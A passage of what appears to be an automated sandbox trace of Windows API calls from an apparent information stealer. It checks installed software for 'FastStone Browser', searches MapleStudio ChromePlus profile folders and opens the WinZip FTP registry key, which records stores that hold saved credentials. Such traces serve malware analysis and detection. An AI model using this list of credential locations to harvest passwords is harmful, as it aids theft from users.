StrStrIA (lpFirst="Adobe Flash Player ActiveXAdobe Flash Player 10 ActiveX", lpSrch="FastStone Browser") returned 0x0 [0079.679] StrStrIA (lpFirst="Adobe Flash Player PluginAdobe Flash Player 10 Plugin", lpSrch="FastStone Browser") returned 0x0 [0079.679] StrStrIA (lpFirst="Google ChromeGoogle Chrome", lpSrch="FastStone Browser") returned 0x0 [0079.680] StrStrIA (lpFirst="Mozilla Firefox 25.0 (x86 en-US)Mozilla Firefox 25.0 (x86 en-US)", lpSrch="FastStone Browser") returned 0x0 [0079.680] StrStrIA (lpFirst="MozillaMaintenanceServiceMozilla Maintenance Service", lpSrch="FastStone Browser") returned 0x0 [0079.680] StrStrIA (lpFirst="Office14.PRJPRORMicrosoft Project Professional 2010", lpSrch="FastStone Browser") returned 0x0 [0079.680] StrStrIA (lpFirst="Office14.PROPLUSRMicrosoft Office Professional Plus 2010", lpSrch="FastStone Browser") returned 0x0 [0079.680] StrStrIA (lpFirst="Office14.VISIORMicrosoft Visio Professional 2010", lpSrch="FastStone Browser") returned 0x0 [0079.680] StrStrIA (lpFirst="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005", lpSrch="FastStone Browser") returned 0x0 [0079.680] StrStrIA (lpFirst="{26A24AE4-039D-4CA4-87B4-2F83217045FF}Java 7 Update 45", lpSrch="FastStone Browser") returned 0x0 [0079.680] StrStrIA (lpFirst="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030", lpSrch="FastStone Browser") returned 0x0 [0079.680] StrStrIA (lpFirst="{444C5574-6BE0-323E-9BDD-922F6C3C4A04}Microsoft .NET Framework 4.6", lpSrch="FastStone Browser") returned 0x0 [0079.680] StrStrIA (lpFirst="{582EA838-9199-3518-A05C-DB09462F68EC}Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017", lpSrch="FastStone Browser") returned 0x0 [0079.680] StrStrIA (lpFirst="{68306422-7C57-373F-8860-D26CE4BA2A15}Microsoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017", lpSrch="FastStone Browser") returned 0x0 [0079.680] StrStrIA (lpFirst="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}Microsoft Visual C++ 2005 Redistributable", lpSrch="FastStone Browser") returned 0x0 [0079.680] StrStrIA (lpFirst="{90140000-0015-0409-0000-0000000FF1CE}Microsoft Office Access MUI (English) 2010", lpSrch="FastStone Browser") returned 0x0 [0079.680] StrStrIA (lpFirst="{90140000-0016-0409-0000-0000000FF1CE}Microsoft Office Excel MUI (English) 2010", lpSrch="FastStone Browser") returned 0x0 [0079.680] StrStrIA (lpFirst="{90140000-0018-0409-0000-0000000FF1CE}Microsoft Office PowerPoint MUI (English) 2010", lpSrch="FastStone Browser") returned 0x0 [0079.680] StrStrIA (lpFirst="{90140000-0019-0409-0000-0000000FF1CE}Microsoft Office Publisher MUI (English) 2010", lpSrch="FastStone Browser") returned 0x0 [0079.680] StrStrIA (lpFirst="{90140000-001A-0409-0000-0000000FF1CE}Microsoft Office Outlook MUI (English) 2010", lpSrch="FastStone Browser") returned 0x0 [0079.680] StrStrIA (lpFirst="{90140000-001B-0409-0000-0000000FF1CE}Microsoft Office Word MUI (English) 2010", lpSrch="FastStone Browser") returned 0x0 [0079.680] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}Microsoft Office Proof (English) 2010", lpSrch="FastStone Browser") returned 0x0 [0079.680] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PRJPROR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FastStone Browser") returned 0x0 [0079.680] StrStrIA (lpFirst="{90140000-001F-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{99ACCA38-6DD3-48A8-96AE-A283C9759279}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FastStone Browser") returned 0x0 [0079.681] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}Microsoft Office Proof (French) 2010", lpSrch="FastStone Browser") returned 0x0 [0079.681] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PRJPROR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FastStone Browser") returned 0x0 [0079.681] StrStrIA (lpFirst="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PROPLUSR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FastStone Browser") returned 0x0 [0079.681] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}Microsoft Office Proof (Spanish) 2010", lpSrch="FastStone Browser") returned 0x0 [0079.681] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PRJPROR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FastStone Browser") returned 0x0 [0079.681] StrStrIA (lpFirst="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PROPLUSR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FastStone Browser") returned 0x0 [0079.681] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}Microsoft Office Proofing (English) 2010", lpSrch="FastStone Browser") returned 0x0 [0079.681] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PRJPROR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FastStone Browser") returned 0x0 [0079.681] StrStrIA (lpFirst="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FastStone Browser") returned 0x0 [0079.681] StrStrIA (lpFirst="{90140000-0044-0409-0000-0000000FF1CE}Microsoft Office InfoPath MUI (English) 2010", lpSrch="FastStone Browser") returned 0x0 [0079.681] StrStrIA (lpFirst="{90140000-0054-0409-0000-0000000FF1CE}Microsoft Office Visio MUI (English) 2010", lpSrch="FastStone Browser") returned 0x0 [0079.681] StrStrIA (lpFirst="{90140000-0054-0409-0000-0000000FF1CE}_Office14.VISIOR_{CDC4310F-8189-485F-B47D-D972217CE173}Microsoft Office 2010 Language Pack Service Pack 1 (SP1)", lpSrch="FastStone Browser") returned 0x0 [0079.681] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}Microsoft Office Shared MUI (English) 2010", lpSrch="FastStone Browser") returned 0x0 [0079.681] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FastStone Browser") returned 0x0 [0079.681] StrStrIA (lpFirst="{90140000-006E-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FastStone Browser") returned 0x0 [0079.681] StrStrIA (lpFirst="{90140000-00A1-0409-0000-0000000FF1CE}Microsoft Office OneNote MUI (English) 2010", lpSrch="FastStone Browser") returned 0x0 [0079.681] StrStrIA (lpFirst="{90140000-00B4-0409-0000-0000000FF1CE}Microsoft Office Project MUI (English) 2010", lpSrch="FastStone Browser") returned 0x0 [0079.681] StrStrIA (lpFirst="{90140000-00B4-0409-0000-0000000FF1CE}_Office14.PRJPROR_{18A0C151-8F8A-4B68-A960-60C464B94329}Microsoft Project 2010 Service Pack 1 (SP1)", lpSrch="FastStone Browser") returned 0x0 [0079.682] StrStrIA (lpFirst="{90140000-00BA-0409-0000-0000000FF1CE}Microsoft Office Groove MUI (English) 2010", lpSrch="FastStone Browser") returned 0x0 [0079.682] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}Microsoft Office Shared Setup Metadata MUI (English) 2010", lpSrch="FastStone Browser") returned 0x0 [0079.682] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PRJPROR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FastStone Browser") returned 0x0 [0079.682] StrStrIA (lpFirst="{90140000-0115-0409-0000-0000000FF1CE}_Office14.PROPLUSR_{4560037C-E356-444A-A015-D21F487D809E}Microsoft Office 2010 Service Pack 1 (SP1)", lpSrch="FastStone Browser") returned 0x0 [0079.682] StrStrIA (lpFirst="{90140000-0117-0409-0000-0000000FF1CE}Microsoft Office Access Setup Metadata MUI (English) 2010", lpSrch="FastStone Browser") returned 0x0 [0079.682] StrStrIA (lpFirst="{91140000-0011-0000-0000-0000000FF1CE}Microsoft Office Professional Plus 2010", lpSrch="FastStone Browser") returned 0x0 [0079.682] StrStrIA (lpFirst="{91140000-003B-0000-0000-0000000FF1CE}Microsoft Office Project Professional 2010", lpSrch="FastStone Browser") returned 0x0 [0079.682] StrStrIA (lpFirst="{91140000-003B-0000-0000-0000000FF1CE}_Office14.PRJPROR_{8A8F117F-8EDB-440D-B679-F08909D729F7}Microsoft Project 2010 Service Pack 1 (SP1)", lpSrch="FastStone Browser") returned 0x0 [0079.682] StrStrIA (lpFirst="{91140000-0057-0000-0000-0000000FF1CE}Microsoft Office Visio 2010", lpSrch="FastStone Browser") returned 0x0 [0079.682] StrStrIA (lpFirst="{91140000-0057-0000-0000-0000000FF1CE}_Office14.VISIOR_{01D8AE4B-A04D-47E5-81BF-E3F98B81B8C3}Microsoft Visio 2010 Service Pack 1 (SP1)", lpSrch="FastStone Browser") returned 0x0 [0079.682] StrStrIA (lpFirst="{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033Microsoft .NET Framework 4.6", lpSrch="FastStone Browser") returned 0x0 [0079.682] StrStrIA (lpFirst="{9BE518E6-ECC6-35A9-88E4-87755C07200F}Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161", lpSrch="FastStone Browser") returned 0x0 [0079.682] StrStrIA (lpFirst="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}Adobe Reader X MUI", lpSrch="FastStone Browser") returned 0x0 [0079.682] StrStrIA (lpFirst="{B175520C-86A2-35A7-8619-86DC379688B9}Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030", lpSrch="FastStone Browser") returned 0x0 [0079.682] StrStrIA (lpFirst="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030", lpSrch="FastStone Browser") returned 0x0 [0079.682] StrStrIA (lpFirst="{e6e75766-da0f-4ba2-9788-6ea593ce702d}Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501", lpSrch="FastStone Browser") returned 0x0 [0079.682] StrStrIA (lpFirst="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219", lpSrch="FastStone Browser") returned 0x0 [0079.682] StrStrIA (lpFirst="{f325f05b-f963-4640-a43b-c8a494cdda0f}Microsoft Visual C++ 2017 Redistributable (x86) - 14.10.25017", lpSrch="FastStone Browser") returned 0x0 [0079.682] StrStrIA (lpFirst="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005", lpSrch="FastStone Browser") returned 0x0 [0079.683] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.683] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.683] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fecc*=0x10, cb=0x4, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x4) returned 0x0 [0079.683] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.683] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.683] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.683] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.683] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.683] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0079.683] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.683] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x52, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.683] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.683] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.683] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.683] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0079.683] lstrlenA (lpString="\\MapleStudio\\ChromePlus") returned 23 [0079.683] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x643aa8 [0079.683] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.683] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\MapleStudio\\ChromePlus" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\MapleStudio\\ChromePlus") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\MapleStudio\\ChromePlus" [0079.683] LocalFree (hMem=0x66b940) returned 0x0 [0079.683] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\MapleStudio\\ChromePlus") returned 55 [0079.683] lstrlenA (lpString="\\*.*") returned 4 [0079.683] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x66b738 [0079.683] lstrcpyA (in: lpString1=0x66b738, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\MapleStudio\\ChromePlus" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\MapleStudio\\ChromePlus") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\MapleStudio\\ChromePlus" [0079.683] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\MapleStudio\\ChromePlus", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\MapleStudio\\ChromePlus\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\MapleStudio\\ChromePlus\\*.*" [0079.683] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\MapleStudio\\ChromePlus\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.684] LocalFree (hMem=0x66b738) returned 0x0 [0079.684] LocalFree (hMem=0x643aa8) returned 0x0 [0079.684] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.684] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.684] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0079.684] lstrlenA (lpString="\\MapleStudio\\ChromePlus") returned 23 [0079.684] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x643aa8 [0079.684] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.684] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\MapleStudio\\ChromePlus" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\MapleStudio\\ChromePlus") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\MapleStudio\\ChromePlus" [0079.684] LocalFree (hMem=0x66b940) returned 0x0 [0079.684] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\MapleStudio\\ChromePlus") returned 55 [0079.684] lstrlenA (lpString="\\*.*") returned 4 [0079.684] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x66b738 [0079.684] lstrcpyA (in: lpString1=0x66b738, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\MapleStudio\\ChromePlus" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\MapleStudio\\ChromePlus") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\MapleStudio\\ChromePlus" [0079.684] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\MapleStudio\\ChromePlus", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\MapleStudio\\ChromePlus\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\MapleStudio\\ChromePlus\\*.*" [0079.684] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\MapleStudio\\ChromePlus\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.684] LocalFree (hMem=0x66b738) returned 0x0 [0079.684] LocalFree (hMem=0x643aa8) returned 0x0 [0079.684] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.684] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.684] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0079.684] lstrlenA (lpString="\\MapleStudio\\ChromePlus") returned 23 [0079.684] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x643aa8 [0079.684] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.684] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\MapleStudio\\ChromePlus" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\MapleStudio\\ChromePlus") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\MapleStudio\\ChromePlus" [0079.684] LocalFree (hMem=0x66b940) returned 0x0 [0079.684] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\MapleStudio\\ChromePlus") returned 53 [0079.684] lstrlenA (lpString="\\*.*") returned 4 [0079.684] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x66b738 [0079.684] lstrcpyA (in: lpString1=0x66b738, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\MapleStudio\\ChromePlus" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\MapleStudio\\ChromePlus") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\MapleStudio\\ChromePlus" [0079.684] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\MapleStudio\\ChromePlus", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\MapleStudio\\ChromePlus\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\MapleStudio\\ChromePlus\\*.*" [0079.684] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\MapleStudio\\ChromePlus\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.684] LocalFree (hMem=0x66b738) returned 0x0 [0079.685] LocalFree (hMem=0x643aa8) returned 0x0 [0079.685] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.685] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.685] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0079.685] lstrlenA (lpString="\\MapleStudio\\ChromePlus") returned 23 [0079.685] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x643aa8 [0079.685] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.685] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\MapleStudio\\ChromePlus" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\MapleStudio\\ChromePlus") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\MapleStudio\\ChromePlus" [0079.685] LocalFree (hMem=0x66b940) returned 0x0 [0079.685] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\MapleStudio\\ChromePlus") returned 53 [0079.685] lstrlenA (lpString="\\*.*") returned 4 [0079.685] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x66b738 [0079.685] lstrcpyA (in: lpString1=0x66b738, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\MapleStudio\\ChromePlus" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\MapleStudio\\ChromePlus") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\MapleStudio\\ChromePlus" [0079.685] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\MapleStudio\\ChromePlus", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\MapleStudio\\ChromePlus\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\MapleStudio\\ChromePlus\\*.*" [0079.685] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\MapleStudio\\ChromePlus\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.685] LocalFree (hMem=0x66b738) returned 0x0 [0079.685] LocalFree (hMem=0x643aa8) returned 0x0 [0079.685] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.685] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.685] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.685] lstrlenA (lpString="\\MapleStudio\\ChromePlus") returned 23 [0079.685] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x629248 [0079.685] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.685] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\MapleStudio\\ChromePlus" | out: lpString1="C:\\ProgramData\\MapleStudio\\ChromePlus") returned="C:\\ProgramData\\MapleStudio\\ChromePlus" [0079.685] LocalFree (hMem=0x66b940) returned 0x0 [0079.685] lstrlenA (lpString="C:\\ProgramData\\MapleStudio\\ChromePlus") returned 37 [0079.685] lstrlenA (lpString="\\*.*") returned 4 [0079.685] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x647ab8 [0079.685] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\ProgramData\\MapleStudio\\ChromePlus" | out: lpString1="C:\\ProgramData\\MapleStudio\\ChromePlus") returned="C:\\ProgramData\\MapleStudio\\ChromePlus" [0079.685] lstrcatA (in: lpString1="C:\\ProgramData\\MapleStudio\\ChromePlus", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\MapleStudio\\ChromePlus\\*.*") returned="C:\\ProgramData\\MapleStudio\\ChromePlus\\*.*" [0079.685] FindFirstFileA (in: lpFileName="C:\\ProgramData\\MapleStudio\\ChromePlus\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.685] LocalFree (hMem=0x647ab8) returned 0x0 [0079.685] LocalFree (hMem=0x629248) returned 0x0 [0079.685] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.685] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.685] lstrlenA (lpString="C:\\ProgramData") returned 14 [0079.685] lstrlenA (lpString="\\MapleStudio\\ChromePlus") returned 23 [0079.686] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x629248 [0079.686] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.686] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\MapleStudio\\ChromePlus" | out: lpString1="C:\\ProgramData\\MapleStudio\\ChromePlus") returned="C:\\ProgramData\\MapleStudio\\ChromePlus" [0079.686] LocalFree (hMem=0x66b940) returned 0x0 [0079.686] lstrlenA (lpString="C:\\ProgramData\\MapleStudio\\ChromePlus") returned 37 [0079.686] lstrlenA (lpString="\\*.*") returned 4 [0079.686] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x647ab8 [0079.686] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\ProgramData\\MapleStudio\\ChromePlus" | out: lpString1="C:\\ProgramData\\MapleStudio\\ChromePlus") returned="C:\\ProgramData\\MapleStudio\\ChromePlus" [0079.686] lstrcatA (in: lpString1="C:\\ProgramData\\MapleStudio\\ChromePlus", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\MapleStudio\\ChromePlus\\*.*") returned="C:\\ProgramData\\MapleStudio\\ChromePlus\\*.*" [0079.686] FindFirstFileA (in: lpFileName="C:\\ProgramData\\MapleStudio\\ChromePlus\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0079.686] LocalFree (hMem=0x647ab8) returned 0x0 [0079.686] LocalFree (hMem=0x629248) returned 0x0 [0079.686] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.686] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.686] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.686] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.686] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.686] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.686] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.686] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.686] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0079.686] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.686] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x53, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.687] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.687] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Nico Mak Computing\\WinZip\\FTP", phkResult=0x12fed4 | out: phkResult=0x12fed4*=0x0) returned 0x2 [0079.687] RegOpenKeyA (in: 